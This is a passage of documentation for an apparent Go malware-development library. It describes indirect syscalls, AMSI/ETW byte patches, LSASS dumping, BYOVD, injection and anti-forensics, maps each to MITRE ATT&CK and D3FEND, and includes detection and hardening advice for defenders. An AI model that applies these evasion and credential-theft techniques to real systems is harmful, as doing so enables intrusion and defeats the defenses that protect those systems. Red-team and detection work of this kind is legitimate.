participant NT as "ntdll syscall stub"
Pkg->>Caller: NtProtectVirtualMemory(...)
Caller->>Resolver: resolve("NtProtectVirtualMemory")
Resolver-->>Caller: SSN 0x50
Caller->>NT: indirect call (rcx, rdx, r8, r9, [rsp+0x28])
NT-->>Caller: NTSTATUS
Caller-->>Pkg: error or nil
Why this design?
- Uniform OPSEC tuning — change one variable, all dependent packages inherit the new stealth level. No per-call configuration sprawl.
- Resolver fall-back chain — if
HellsGatefails (ntdll hooked),HalosGatewalks down to find a clean stub. Each package gets the chain "for free". - Testability — the WinAPI fall-back lets unit tests run on any
Windows host without elevation, while integration tests in VMs run
with
MethodIndirectto validate the stealth path.
See: win/syscall/doc.go and the
direct-indirect /
ssn-resolvers pages.
Cross-version Windows behavior
Some techniques fail on newer Windows builds. Tracked deltas:
| Technique | Win10 22H2 | Win11 24H2 (build 26100) | Notes |
|---|---|---|---|
process/tamper/herpaderping.ModeRun | ✅ | ❌ | Win11 image-load notify hardening — use ModeGhosting |
cleanup/selfdelete.DeleteFile | ✅ | ⚠️ | MoveFileEx(MOVEFILE_DELAY_UNTIL_REBOOT) rename-on-reboot semantics changed |
process/tamper/fakecmd.SpoofPID | ✅ | ❌ | PROC_THREAD_ATTRIBUTE_PARENT_PROCESS tightened |
inject.CallerMatrix_RemoteInject (some methods + Direct/Indirect) | ✅ | ⚠️ | Cross-process write + thread-create primitives |
evasion/hook test EXE | (Defender flagged) | (Defender flagged) | Defender def-update — exclusions in bootstrap-windows-guest.ps1 |
Source of truth: the ## Win10 → Win11 cross-version deltas table in
testing.md.
Reading order — by complexity
- Pure Go: crypto,
encode, hash — read
*_test.gofirst; the algorithms speak for themselves. - OS-primitives: win/syscall — start here, the Caller pattern radiates out.
- Detection-evasion mechanics: evasion/amsi, evasion/etw, evasion/unhook. Concrete byte-pattern verification, easy to validate in x64dbg.
- Sleep masking:
sleepmask — the
EkkoROP chain is a small masterpiece; the Go bindings preserve the semantics. - Injection: inject. 15+
methods — read the
CallerMatrixtest in testing.md for the feature × stealth grid. - In-process runtime: runtime/bof,
runtime/clr. BOF/COFF parsing in
pure Go; CLR hosting via
ICorRuntimeHost(legacy v2 activation). - Kernel BYOVD:
kernel/driver/rtcore64. Layer-1
primitives (Reader / ReadWriter / Lifecycle); CVE-2019-16098 IOCTL
scaffold; consumed by
evasion/kcallback.Removeandcredentials/lsassdump.Unprotect.
VM testing
Reproducible test harness: coverage-workflow.md.
# One-time: bootstrap VMs from scratch
bash scripts/vm-provision.sh
# Each session: full coverage with all gates open, merged report
bash scripts/full-coverage.sh --snapshot=TOOLS
The harness orchestrates Windows + Linux + Kali VMs; gating env vars
(MALDEV_INTRUSIVE, MALDEV_MANUAL) unlock destructive tests safely.
How to extend
Adding a new injection method
- Add a
Method<Name>constant toinject/method.go. - Implement
case MethodXxx:inWindowsInjector.Inject. The*wsyscall.Calleris already wired — call through it for any syscall. - Add the method to the CallerMatrix test.
- Update docs/techniques/injection/ per the doc-conventions template.
- Tag the MITRE ID in the new package's
doc.go;internal/tools/docgenrolls it into mitre.md.
Adding a new evasion technique
Same shape: package under evasion/<name>, exposes a function returning
an evasion.Technique so it composes via evasion.ApplyAll.
References
- Caller pattern: Hells/Halos Gate paper · Tartarus Gate
- AMSI bypass: Rasta Mouse — AmsiScanBuffer patch
- ETW patch: modexp — Disabling ETW
- Sleep mask (Ekko): Cracked5pider/Ekko
- Herpaderping / Ghosting: jxy-s/herpaderping · hasherezade — process ghosting
- Donut PE-to-shellcode: TheWover/donut
- Phantom DLL hollowing: forrest-orr/phantom-dll-hollower-poc
- BOF spec: Cobalt Strike BOF documentation
Per-technique pages cite their own primary sources — these are the spine references for the architecture.
Where to next
- Operator path — if you want the practical chain, not the theory.
- Detection engineering path — read the same techniques from the artifacts left behind angle.
- Architecture — full layer-by-layer dependency map.
- Testing — evidence the techniques actually work cross-version.
For detection engineers (blue team)
Every technique here has been measured against EDR / Defender / event logs. This page lists the artifacts each leaves behind, where to look, and which D3FEND counter-technique applies. Use it to write detections, plan red-team exercises, or harden endpoints.
TL;DR
[!TIP] If your goal is "what should I monitor first", focus on the noisy / very-noisy rows in the Detection Difficulty table below. Those are the techniques where the trade-off is worst for the attacker — easiest wins for the defender.
Detection difficulty matrix
Every package is annotated with a Detection level
field in its doc.go. Buckets:
| Bucket | Operator can hide it? | Defender notes |
|---|---|---|
very-quiet | Yes — zero artifacts above noise | In-process, common syscalls only. Detection requires per-process behavioural ML. |
quiet | Mostly | Minimal trace, no event log. Maybe one transient registry/file artifact. |
moderate | Sometimes | Distinguishable syscall pattern; volume-based detection works. |
noisy | No without effort | ETW provider, event log entry, cross-process activity. |
very-noisy | No | Signature-detected by Defender or EDR; specific API hooks watched. |
internal/tools/docgen (Phase 3 of the doc refactor) produces a flat table of all
public packages by detection level. Until then, see each package's
doc.go.
Per-area detection guidance
Syscalls — win/syscall
| Stance | Telemetry left | Detection vector |
|---|---|---|
MethodWinAPI | Standard CRT call | None — looks like any benign program |
MethodNativeAPI | ntdll!Nt* direct call | Frequency-based: a process making 200+ NT calls/sec is unusual |
MethodDirect | syscall instruction inside loaded module | EDR call-stack walking detects RIP not in ntdll. D3-PCM (Process Code Modification) |
MethodIndirect | syscall instruction inside ntdll (jumped to from caller via heap stub) | Hard to detect from user-mode. Heap stub page is RW↔RX-cycled per call — VirtualProtect rate may be a heuristic. Kernel-mode ETW (TI events) sees the issuing thread. D3-PSM (Process Spawn Monitoring) |
MethodIndirectAsm | Same end-effect as MethodIndirect but stub lives in implant .text (Go-asm, fixed RVA) | No VirtualProtect heuristic. YARA on the asm stub bytes still possible — morph or strip. D3-PSM |
[!NOTE] ETW Threat Intelligence provider (Microsoft-Windows-Threat-Intelligence) emits
EVENT_TI_NTPROTECTandEVENT_TI_NTALLOCATEVIRTUALregardless of whether the call came from ntdll or a direct syscall instruction. Subscribing to TI events is the single best detection investment for this area.
AMSI / ETW patching — evasion/amsi, evasion/etw
| Artifact | Where |
|---|---|
3-byte patch in amsi.dll!AmsiScanBuffer (31 C0 C3) | Memory scan of amsi.dll RX section after process load |
4-byte patch in ntdll.dll!EtwEventWrite{,Ex,Full,String,Transfer} (48 33 C0 C3) | Memory scan of ntdll.dll RX |
NtProtectVirtualMemory call switching RX → RWX → RX on amsi/ntdll | ETW TI / EDR call-stack inspection |
| Reduced AMSI scan rate from PowerShell host | PowerShell Microsoft.PowerShell.AMSI provider drops to zero |
Hunt query (KQL pseudo-code):
DeviceImageLoadEvents
| where FileName == "amsi.dll"
| join DeviceProcessEvents on InitiatingProcessId
| project ProcessName, AmsiBytes = read 3 bytes at AmsiScanBuffer offset
| where AmsiBytes != original_bytes
D3FEND counters: D3-PSM (Process Spawn Monitoring), D3-PMC (Process Module Code Manipulation Detection). Hardening: **AMSI Provider DLL pinned
- signed**.
ntdll unhooking — evasion/unhook
| Artifact | Where |
|---|---|
NtCreateSection/NtMapViewOfSection call sequence opening a fresh ntdll.dll from disk | Process memory access pattern |
Original syscall stubs 4C 8B D1 B8 … re-written over EDR-hooked ones | RX-page scan; compares running ntdll bytes against on-disk |
Hunt: memory-scan ntdll RX section for stubs that diverge from on-disk bytes after the EDR's hook installer ran.
Sleep masking — evasion/sleepmask
| Artifact | Where |
|---|---|
| Process thread stack XOR-encrypted during sleep | Kernel thread-stack walking detects high-entropy stack regions |
ROP chain (StrategyEkko) | EDR call-stack heuristics — return addresses on stack don't match valid call sites |
Timer queue API spike (StrategyTimerQueue) | RtlCreateTimer, WaitForSingleObject patterns |
D3FEND: D3-PSEP (Process Self-Modification). Hardening: kernel thread-stack walking on a 5–30 second cadence.
Injection — inject
Per-method telemetry (excerpt; full table per technique page):
| Method | ETW TI events | Detection difficulty |
|---|---|---|
MethodCreateThread | EVENT_TI_NTCREATETHREAD | very-noisy |
MethodCreateRemoteThread | EVENT_TI_NTCREATETHREADEX cross-process | very-noisy |
MethodEarlyBirdAPC | EVENT_TI_NTQUEUEAPCTHREAD + suspended process | noisy |
MethodSectionMap | NtCreateSection + NtMapViewOfSection(EXECUTE) | quiet |
MethodPhantomDLL | NtCreateSection(SEC_IMAGE) from a non-existent on-disk path | very-quiet |
MethodKernelCallbackTable | KernelCallbackTable write to PEB | very-quiet (rare in legit) |
MethodModuleStomp | RX-page write to a loaded module | quiet |
MethodThreadHijack | NtSuspendThread + NtSetContextThread cross-process | noisy |
See docs/techniques/injection/ for the per-method artifact list.
Credential access — credentials/*
| Package | Telemetry |
|---|---|
credentials/lsassdump | OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, …, lsass.exe PID) from non-system context |
credentials/sekurlsa | None standalone — operates on a dump file |
credentials/samdump | Live mode: reg.exe save HKLM\SAM …. Offline: file read of registry hive |
credentials/goldenticket | LsaCallAuthenticationPackage(KerbSubmitTicketMessage, …) — visible in TI provider |
Hardening: Credential Guard (LSASS in VTL1) defeats lsassdump
write/read; Protected Process Light (PPL) requires the BYOVD
unprotect path which is itself detectable via signed-driver provenance
events (Sysmon Event 6).
Persistence — persistence/*
| Mechanism | Event log | Sysmon equivalent |
|---|---|---|
| Registry Run/RunOnce | none built-in | Event 12 / 13 (registry write) |
| Startup folder LNK | none | Event 11 (file create) |
| Scheduled Task (COM) | TaskScheduler-Operational 4698 | Event 4698 |
| Windows Service install | System log 7045 | Event 4697 |
| Local account creation | Security 4720 | — |
D3FEND: D3-RAPA (Resource Access Pattern Analysis), D3-PFV (Persistent File Volume Inspection).
Cleanup — cleanup/*
The most-overlooked area for blue. Cleanup deliberately removes artifacts the rest of the chain would have left.
| Technique | What it erases | What it leaves |
|---|---|---|
cleanup/selfdelete | Implant binary on disk | NTFS $Bitmap change, $LogFile entry, ADS rename log |
cleanup/timestomp | File timestamp recency | $STANDARD_INFORMATION updated; $FILE_NAME MFT timestamps unchanged (forensic disparity) |
cleanup/wipe (memory.WipeAndFree) | Sensitive bytes in process memory | NtFreeVirtualMemory call |
cleanup/ads | Stream existence | NTFS $Data:streamname MFT entry remains visible to MFT-aware tooling |
cleanup/bsod | All in-memory state | Crash dump (if configured) |
Forensic detection: MFT inconsistency between $STANDARD_INFORMATION
and $FILE_NAME timestamps is the canonical timestomp tell.
Hardening recommendations
- Enable ETW Threat Intelligence provider and ship its events to your SIEM. Single highest-leverage signal for this entire library.
- Credential Guard + LSASS in PPL (kernel
RunAsPPL=1). - WDAC / AppLocker with publisher allow-list — defeats Donut-loaded PE shellcode if PE policy applies (depends on AMSI integration).
- Sysmon with SwiftOnSecurity baseline covers most artifact categories above.
- Driver block-list policy — Microsoft's vulnerable driver block list includes RTCore64; enable it.
Hunt repository (placeholder)
[!NOTE] A
docs/hunts/directory with Sigma rules and KQL queries per technique is on the Phase 5 roadmap. Until then, the per-technique "OPSEC & Detection" sections (mandatory by doc-conventions) carry the hunt-relevant artefacts.
Where to next
- Researcher path — same techniques explained from the attacker design angle.
- Operator path — see how the chain composes; useful for red-team / purple-team coordination.
- MITRE map — full ATT&CK / D3FEND reconciliation.
- docs/techniques/ — drill into any specific technique.
MITRE ATT&CK + D3FEND Coverage
ATT&CK Techniques
| ATT&CK ID | Technique Name | Package(s) | D3FEND Countermeasure |
|---|---|---|---|
| T1016 | System Network Configuration Discovery | recon/network (interfaces, gateway, DNS, public IP), win/domain (paired use) | D3-NTPM (Network Traffic Pattern Matching) |
| T1027 | Obfuscated Files or Information | evasion/sleepmask, pe/strip, crypto (TEA/XTEA/ArithShift/SBox/MatrixTransform), win/api (PEB-walk hash imports) | D3-SMRA (System Memory Range Analysis) |
| T1027.002 | Software Packing | pe/morph, pe/packer — three pipelines: (1) Pack/PackPipeline encrypt-and-embed blob; (2) PackBinary v0.61.0 UPX-style in-place .text encryption + polymorphic decoder stub (single-binary output, kernel does loading); (3) AddCoverPE/AddCoverELF + ApplyDefaultCover anti-static-unpacker junk-section overlay; plus pe/packer/runtime (Windows x64 reflective loader) | D3-SEA (Static Executable Analysis) |
| T1027.007 | Dynamic API Resolution | win/api (Hell's/Halo's/Tartarus/HashGate resolvers), win/syscall (SSN gating chain) | D3-SCA (System Call Analysis) |
| T1027.013 | Encrypted/Encoded File | crypto, encode | D3-FCA (File Content Analysis) |
| T1036 | Masquerading | evasion/stealthopen, evasion/callstack (call-stack spoof metadata) | D3-FHA (File Hash Analysis) |
| T1036.005 | Masquerading: Match Legitimate Name or Location | process/tamper/fakecmd (self + remote via SpoofPID), pe/masquerade | D3-PLA (Process Listing Analysis) |
| T1047.001 | Boot or Logon Autostart Execution: Registry Run Keys | persistence/registry | D3-SBV (Service Binary Verification) |
| T1003.001 | OS Credential Dumping: LSASS Memory | credentials/lsassdump (producer — dump + PPL unprotect), credentials/sekurlsa (consumer — pure-Go MSV1_0 + Wdigest + Kerberos + DPAPI + TSPkg + CloudAP + LiveSSP + CredMan parser; PTH write-back into live lsass) | D3-PSA (Process Spawn Analysis), D3-SICA (System Image Change Analysis) |
| T1003.002 | OS Credential Dumping: Security Account Manager | credentials/samdump (offline SAM/SYSTEM hive dump — pure-Go REGF parser + boot-key permutation + AES/RC4 hashed-bootkey derivation + per-RID DES de-permutation; live mode via reg save) | D3-PSA (Process Spawn Analysis), D3-FCA (File Content Analysis on reg save artefacts) |
| T1550.002 | Use Alternate Authentication Material: Pass the Hash | credentials/sekurlsa (Pass / PassImpersonate — spawn under LOGON_NETCREDENTIALS_ONLY, NtWrite MSV + Kerberos hashes back into live lsass for the spawned LUID; SetThreadToken duplicate-token impersonation) | D3-PSA, D3-SICA |
| T1550.003 | Use Alternate Authentication Material: Pass the Ticket | credentials/sekurlsa (KerberosTicket.ToKirbi / ToKirbiFile — emit mimikatz-format KRB-CRED with replayable session key); credentials/goldenticket (Submit — LsaCallAuthenticationPackage(KerbSubmitTicketMessage)) | D3-NTA (Network Traffic Analysis on Kerberos AP-REQ patterns) |
| T1558.001 | Steal or Forge Kerberos Tickets: Golden Ticket | credentials/goldenticket (Forge — pure-Go PAC marshaling + KRB5 ticket signing with operator-supplied krbtgt key) | D3-NTA |
| T1053.005 | Scheduled Task/Job: Scheduled Task | persistence/scheduler | D3-SBV (Service Binary Verification) |
| T1055 | Process Injection | inject (15 methods), process/tamper/herpaderping (ModeHerpaderping + ModeGhosting; both work on Win10/Win11 ≤ 26100, blocked on Win11 26100+) | D3-PSA (Process Spawn Analysis) |
| T1055.001 | DLL Injection | pe/srdi, inject/phantomdll | D3-SICA (System Image Change Analysis) |
| T1055.003 | Thread Execution Hijacking | inject (ThreadHijack) | D3-PSA |
| T1055.004 | Asynchronous Procedure Call | inject (QueueUserAPC, EarlyBirdAPC, NtQueueApcThreadEx) | D3-PSA |
| T1055.012 | Process Hollowing | inject (SpawnWithSpoofedArgs) | D3-PSMD (Process Spawn Monitoring) |
| T1068 | Exploitation for Privilege Escalation | privesc/cve202430088 (kernel TOCTOU race), kernel/driver/rtcore64 (BYOVD IOCTL R/W) | D3-EAL (Exploit Activity Logging), D3-DLIC (Driver Load Integrity Checking) |
| T1078 | Valid Accounts | win/privilege (alt-creds spawn via Secondary Logon), win/impersonate (alt-creds → thread context swap) | D3-UAP (User Account Profiling) |
| T1056.001 | Input Capture: Keylogging | collection/keylog | D3-KBIM (Keyboard Input Monitoring) |
| T1057 | Process Discovery | process/enum | D3-PLA (Process Listing Analysis) |
| T1059 | Command and Scripting Interpreter | c2/shell, c2/meterpreter, runtime/bof, runtime/pe (in-process EXE / DLL) | D3-EFA (Executable File Analysis) |
| T1070 | Indicator Removal on Host | cleanup/memory | D3-SMRA |
| T1070.004 | File Deletion | cleanup/selfdelete, cleanup/wipe | D3-FRA (File Removal Analysis) |
| T1070.006 | Timestomp | cleanup/timestomp | D3-FHA (File Hash Analysis) |
| T1071.001 | Web Protocols | c2/transport/malleable, c2/transport/namedpipe, c2/transport/websocket | D3-NTA (Network Traffic Analysis) |
| T1082 | System Information Discovery | win/domain, win/version | D3-SYSIP (System Information Profiling) |
| T1083 | File and Directory Discovery | recon/folder | D3-FDA (File Discovery Analysis) |
| T1090.001 | Proxy: Internal Proxy | c2/pivot/socks5 (forward SOCKS5v5 + RFC 1929 auth + RuleSet scope enforcement) | D3-NTA (Network Traffic Analysis), D3-PA (Process Analysis) |
| T1090.004 | Proxy: Domain Fronting | c2/transport/websocket (WithUTLSConfig — JA3=Chrome on TLS while WS upgrade targets the fronted host) | D3-NTA (Network Traffic Analysis) |
| T1106 | Native API | win/api (PEB walk, API hashing), win/syscall, win/ntapi, pe/imports (import table enumeration) | D3-SCA (System Call Analysis) |
| T1113 | Screen Capture | collection/screenshot | D3-DA (Dynamic Analysis) |
| T1115 | Clipboard Data | collection/clipboard | D3-DA (Dynamic Analysis) |
| T1120 | Peripheral Device Discovery | recon/drive | D3-PDD (Peripheral Device Discovery) |
| T1134 | Access Token Manipulation | win/token, win/privilege | D3-TAAN (Token Auth Normalization) |
| T1134.001 | Token Impersonation/Theft | win/impersonate, win/token, privesc/cve202430088 (_EPROCESS.Token swap) | D3-TAAN |
| T1134.002 | Create Process with Token | process/session, win/privilege (Secondary Logon path) | D3-TAAN |
| T1134.004 | Parent PID Spoofing | c2/shell (PPID spoofing chain), win/impersonate (RunAsTrustedInstaller lineage) | D3-PSA (Process Spawn Analysis) |
| T1136.001 | Create Account: Local Account | persistence/account | D3-UAP (User Account Profiling) |
| T1204.002 | User Execution: Malicious File | persistence/lnk | D3-EFA (Executable File Analysis) |
| T1497 | Virtualization/Sandbox Evasion | recon/sandbox | D3-DA (Dynamic Analysis) |
| T1497.001 | System Checks | recon/antivm — registry/file/NIC/DMI/process probes (Detect/DetectAll) + CPUID hypervisor stack (Hypervisor, HypervisorPresent, HypervisorVendor, RDTSCDelta) + Red Pill descriptor-table primitives (SIDT, SGDT, SLDT, Probe) | D3-DA |
| T1497.003 | Time Based Evasion | recon/timing | D3-DA |
| T1529 | System Shutdown/Reboot | cleanup/bsod | D3-DA (Dynamic Analysis) |
| T1014 | Rootkit | kernel/driver/rtcore64 (BYOVD — RTCore64 / CVE-2019-16098) | D3-DLIC (Driver Load Integrity Checking) |
| T1543.003 | Create or Modify System Process: Windows Service | persistence/service, cleanup/service, kernel/driver/rtcore64 (signed-driver service install) | D3-SBV (Service Binary Verification) |
| T1547.009 | Shortcut Modification | persistence/lnk, persistence/startup | D3-FDA (File Discovery Analysis) |
| T1548.002 | Bypass UAC | privesc/uac, recon/dllhijack (AutoElevate scanner) | D3-UAP (User Account Profiling) |
| T1553.002 | Subvert Trust Controls: Code Signing | pe/cert | D3-SEA (Static Executable Analysis) |
| T1562.001 | Disable or Modify Tools | evasion/amsi, evasion/etw, evasion/unhook, evasion/acg, evasion/blockdlls, evasion/kcallback (kernel callback enumeration) | D3-AIPA (Application Integrity Analysis) |
| T1562.002 | Disable Windows Event Logging | process/tamper/phant0m | D3-EAL (Execution Activity Logging) |
| T1574.001 | Hijack Execution Flow: DLL Search Order Hijacking | recon/dllhijack (discovery) · pe/dllproxy (payload generator) | D3-PFV (Process File Verification) |
| T1574.002 | Hijack Execution Flow: DLL Side-Loading | pe/dllproxy (forwarder DLL emitter) | D3-PFV (Process File Verification) |
| T1574.012 | Hijack Execution Flow: Inline Hooking | evasion/hook | D3-AIPA (Application Integrity Analysis) |
| T1564 | Hide Artifacts | cleanup/service | D3-FRA |
| T1564.001 | Hide Artifacts: Hidden Process | process/tamper/hideprocess | D3-PLA (Process Listing Analysis) |
| T1564.004 | Hide Artifacts: NTFS File Attributes | cleanup/ads | D3-FRA (File Removal Analysis) |
| T1620 | Reflective Code Loading | runtime/clr, runtime/pe (No-Consolation BOF wrapper), pe/packer/runtime (Windows x64 PE reflective loader) | D3-AIPA (Application Integrity Analysis) |
| T1571 | Non-Standard Port | c2/multicat (operator-side multi-session listener) | D3-NTA (Network Traffic Analysis) |
| T1573.002 | Asymmetric Cryptography | c2/transport (TLS, uTLS) | D3-DNSTA (DNS Traffic Analysis) |
| T1622 | Debugger Evasion | recon/antidebug, recon/hwbp | D3-DICA (Debug Instruction Analysis) |
Defensive Primitives (N/A — no ATT&CK technique)
| ATT&CK ID | Role | Package(s) | Notes |
|---|---|---|---|
| N/A | Defensive framing | license/ | Ed25519-signed authorisation gate — restricts which binaries run, by whom, on which machines. No attack technique exercised; no on-host artefacts emitted. |
D3FEND Defensive Techniques
The D3FEND column above indicates which defensive technique a blue team would use to detect each maldev capability. This helps red teamers understand what they're evading and blue teamers understand what to implement.
graph TD
subgraph "Attack Techniques (Red)"
I[Injection T1055]
E[Evasion T1562]
S[Syscall Bypass T1106]
C[C2 T1071/T1573]
end
subgraph "D3FEND Countermeasures (Blue)"
D1[D3-PSA<br>Process Spawn Analysis]
D2[D3-AIPA<br>App Integrity Analysis]
D3[D3-SCA<br>System Call Analysis]
D4[D3-NTA<br>Network Traffic Analysis]
D5[D3-SMRA<br>Memory Range Analysis]
end
I --> D1
I --> D5
E --> D2
S --> D3
C --> D4
subgraph "maldev OPSEC Counters"
O1[Indirect syscalls<br>defeat D3-SCA]
O2[Sleep mask<br>defeats D3-SMRA]
O3[uTLS JA3 spoofing<br>defeats D3-NTA]
O4[Unhooking<br>defeats D3-AIPA hooks]
end
D3 -.->|bypassed by| O1
D5 -.->|bypassed by| O2
D4 -.->|bypassed by| O3
D2 -.->|bypassed by| O4
Glossary
Terms maldev uses without redefinition. If a page references jargon and you're not sure, the term should be here. Open an issue if a term is missing.
Entries are alphabetical. Each entry is one sentence (definition) plus one optional sentence (where it shows up in maldev).
A
ADR (Architecture Decision Record). A short record of why a non-trivial decision was made. See Concepts ▸ Decisions.
AMSI (Antimalware Scan Interface). Windows mechanism that
ships script bodies (PowerShell, .NET, …) to a registered
antimalware provider for inspection. Bypass via
evasion/amsi.
ACG (Arbitrary Code Guard). Windows mitigation that blocks a
process from allocating dynamic executable memory. Activated via
SetProcessMitigationPolicy; relevant in preset.Aggressive.
ApiSet. Indirection layer (api-ms-win-*.dll) that resolves
to real DLLs at load time. Important when walking exports;
ApiSet contracts get filtered in DLL-hijack discovery.
B
BOF (Beacon Object File). Cobalt-Strike-style relocatable
COFF object loaded in-process. Run via
cmd/bof-runner or
runtime/bof-loader.
BYOVD (Bring Your Own Vulnerable Driver). Use a legitimately-
signed but exploitable driver to gain kernel R/W. See
kernel/byovd.
BlockDLLs (Mitigation::BinarySignaturePolicy::MicrosoftSignedOnly).
Process mitigation that allows only Microsoft-signed DLLs to
load. Part of preset.Aggressive.
C
Caller (*wsyscall.Caller). The runtime knob that selects
how every NT* call is issued (WinAPI / Native / Direct / Indirect).
See ADR-0001.
CET (Control-flow Enforcement Technology). Hardware-assisted
mitigation (shadow stack + indirect-branch tracking). maldev's
evasion/cet covers opt-out at the implant-process level.
CFG (Control Flow Guard). Software mitigation that validates indirect-call targets against a bitmap. AMSI bypass works around it because prologue patching doesn't trigger CFG checks.
COFF (Common Object File Format). Object-file format used by BOFs. Different from PE; PE wraps COFF + extras.
D
D3FEND. MITRE's defender taxonomy (counter-techniques to
ATT&CK). Tagged on every technique page as D3-XXX.
Diátaxis. Doc-IA framework with 4 quadrants (Tutorial / How-to / Reference / Explanation). maldev's nav is Diátaxis- inspired (see ADR-0004).
DLL hijack. Plant a DLL on the search path of a privileged
process. Discovery via recon/dllhijack;
full chain in examples/privesc-dll-hijack.
Donor cert. A WIN_CERTIFICATE blob harvested from a
legitimately-signed binary, stamped into a packed payload to
mimic provenance.
E
EDR (Endpoint Detection and Response). Defender + product (CrowdStrike,
SentinelOne, Defender for Endpoint, …). Hooks ntdll, watches ETW,
inspects memory.
EAT (Export Address Table). The table in a PE's
IMAGE_DIRECTORY_ENTRY_EXPORT listing exported functions. Walked
by hash-resolution shellcode.
ETW (Event Tracing for Windows). Kernel + user telemetry
backbone. AMSI counterpart for behavioural data. Patched via
evasion/etw.
ETW-TI (Threat Intelligence). Privileged ETW provider that exposes the loudest signals (RWX allocations, suspicious loaders).
F
FILE_SHARE_READ. CreateFile share flag. Allows the file to
be opened for read by others; relevant for marker-file flushing
races (see Runbook: DLL hijack silent).
G
garble. Go toolchain wrapper that obfuscates names + literals
- build IDs. Used by
make release; see OPSEC build pipeline.
godoc / pkg.go.dev. The authoritative API reference for any Go package. maldev's policy: every technique page links here, never duplicates content. See ADR-0002.
H
Hook. Code overlay on a Windows API entry (typically by an
EDR) that intercepts calls. Unhooking removes the overlay; see
evasion/unhook.
HALO's gate / Tartarus' gate / Hell's gate. Three flavours of
direct-syscall SSN resolution. maldev's wsyscall.MethodDirect
implements the modern variant.
I
IAT (Import Address Table). Where the loader writes the absolute VAs of imported functions. Hooked by some EDRs as a cheap interception point.
IL (Integrity Level). Windows process integrity (Low / Medium / High / SYSTEM). UAC bypass moves from Medium to High.
IOC (Indicator of Compromise). Anything (hash, IP, file path, registry key) that telegraphs your presence.
L
LSASS. lsass.exe, the Windows process that holds
authentication material in memory. Target of credential dumping
via credentials/lsassdump.
M
MITRE ATT&CK. Adversary technique taxonomy (https://attack.mitre.org). Every maldev technique declares its T-IDs in frontmatter.
MDX. Markdown + JSX. Docusaurus syntax; mdBook doesn't support it. Relevant only if we ever migrate (ADR-0003).
N
NT API.* Native Windows API in ntdll.dll
(NtAllocateVirtualMemory, NtProtectVirtualMemory, …). Lower-
level than Win32 kernel32.dll; the hook layer EDRs care most
about.
ntdll. ntdll.dll, the lowest-level user-mode DLL. Every
Win32 API ends up here. EDR hooks usually live in its .text
section.
O
OEP (Original Entry Point). Where a binary's first instruction was before it got packed. The packer's stub jumps to OEP after decryption.
OPSEC. Operational Security — minimising your attack surface. Covers tooling artefacts, network behaviour, build metadata.
P
PEB (Process Environment Block). Per-process structure at a
fixed offset from the GS segment. Holds
ProcessParameters.CommandLine, loaded modules, image base.
maldev's PEB-CommandLine patch (RunWithArgs export) lives in
the packer stub.
Plan 9 asm. Go's internal assembler syntax. maldev's
pe/packer/stubgen/amd64 emits raw bytes via Plan9 helpers.
Plt / IAT thunk. Per-import indirection slot in the IAT.
R
RVA (Relative Virtual Address). Offset from a PE's image base (after loading). The linker bakes RVAs; the loader doesn't rewrite them unless the image is rebased.
rpc. Microsoft RPC (rpcrt4.dll). Several persistence and
LSASS-dump primitives ride on RPC interfaces.
Reverse-engineering of .text. Static analysis that reads
the unpacked code section. Defeated by the packer's per-pack
SGN encoding + section-name randomisation
(ADR randomisation default-on — see
v0.135.0 changelog).
S
SGN (Shellcode Generation). Polymorphic encoder format (SUB-NEG-NEGATE shape) used by maldev's packer for byte-level diversity per pack.
SSN (System Service Number). Per-Windows-version index used
by the kernel syscall stub. Direct syscalls require resolving SSN
at runtime (wsyscall does this).
Stub. The decoder bytes injected at the new PE entry by the
packer. Stage1 = current implementation; emitted by
pe/packer/stubgen/stage1.
SYSTEM. NT AUTHORITY\SYSTEM, the highest non-kernel
account. End goal of most privesc chains.
T
TEB (Thread Environment Block). Per-thread structure analogous to PEB. Holds TLS slots; relevant for Go runtime init in injected threads.
U
UAC (User Account Control). Windows prompt that gates
elevation from Medium to High IL. Bypass primitives in
privesc/uac.
W
WIN_CERTIFICATE. Authenticode signature blob layout (PE's
DataDirectory[SECURITY]). Harvested by
cmd/cert-snapshot, pasted onto packed
binaries for masquerade.
wsyscall. The maldev-internal package providing the Caller
abstraction over WinAPI / Native / Direct / Indirect syscall
methods. See ADR-0001.
X
x64dbg. Open-source ring-3 debugger. Used to develop the memscan stack (see research helpers for the current pure-Go incarnation that replaced the legacy x64dbg-MCP plumbing).
Documentation Conventions Skill
Apply this skill to all documentation work in this project. The
methodology was decided 2026-04-27 and is the canonical source — older .md
files that diverge are legacy and must be migrated, not perpetuated.
Surface (where docs live)
Hybrid model. /docs/**.md and */doc.go files are the canonical
source of truth, browseable directly on GitHub. A CI job additionally
generates a richer site on gh-pages (mdBook or Docusaurus) with full-text
search, dark mode, and versioned snapshots.
- Anything that ships on
pkg.go.dev(godoc) is godoc-rendered. Don't put GitHub-specific markdown indoc.go— write plain godoc that survives both surfaces. - Anything in
/docs/**.mdmay use full GFM + GitHub advanced formatting (Mermaid, alerts, math, collapsibles, tables, footnotes, task lists). - The
gh-pagessite builds from/docs/**.md— never write content that only exists on the site. Source is markdown.
Audience paths (3 explicit roles)
The README and docs/index.md route readers via three role pages:
docs/by-role/operator.md— red team / ops focus: chains, OPSEC, payload-ready snippets, deployment patterns.docs/by-role/researcher.md— security R&D focus: how it works at the kernel/runtime layer, paper references, MITRE/D3FEND mapping.docs/by-role/detection-eng.md— blue team focus: artifacts left, detection telemetry, EDR signatures, hardening recommendations.
Every technique page links back to one or more role pages via "See also". Every role page links forward to relevant technique pages. The tree is acyclic and traversable both ways.
Per-package docs (doc.go)
Required structure. Every public package MUST have a doc.go that
matches this template (literal section headers, in this order):
// Package <name> <one-sentence purpose, ending with a period>.
//
// <intro paragraph: what problem it solves, who calls it, when to use it.
// 80–200 words, plain prose, no headers.>
//
// # MITRE ATT&CK
//
// - T<id> (<full sub-technique name>)
// - [more if applicable]
//
// # Detection level
//
// <one of: very-quiet | quiet | moderate | noisy | very-noisy>
//
// <one or two sentences on the artifacts left behind. Be concrete:
// syscalls invoked, registry keys touched, ETW providers triggered, etc.>
//
// # Example
//
// See [Example<First>] in <name>_example_test.go.
//
// # See also
//
// - docs/techniques/<area>/<file>.md
package <name>
Detection level scale — pick exactly one bucket per package:
| Bucket | Meaning |
|---|---|
very-quiet | Zero artifacts above noise. In-process only. Common syscalls only. |
quiet | Minimal trace. No event log. May leave one transient registry/file artifact. |
moderate | Distinguishable syscall pattern but commonly used by legitimate software. |
noisy | Triggers ETW providers, event log entries, or cross-process activity that's monitorable. |
very-noisy | High-confidence detection by signature: known sigs in Defender, hooked APIs that EDR specifically watches. |
MITRE format — always T<id>(.<sub>)? (<full name>). Never bundle without
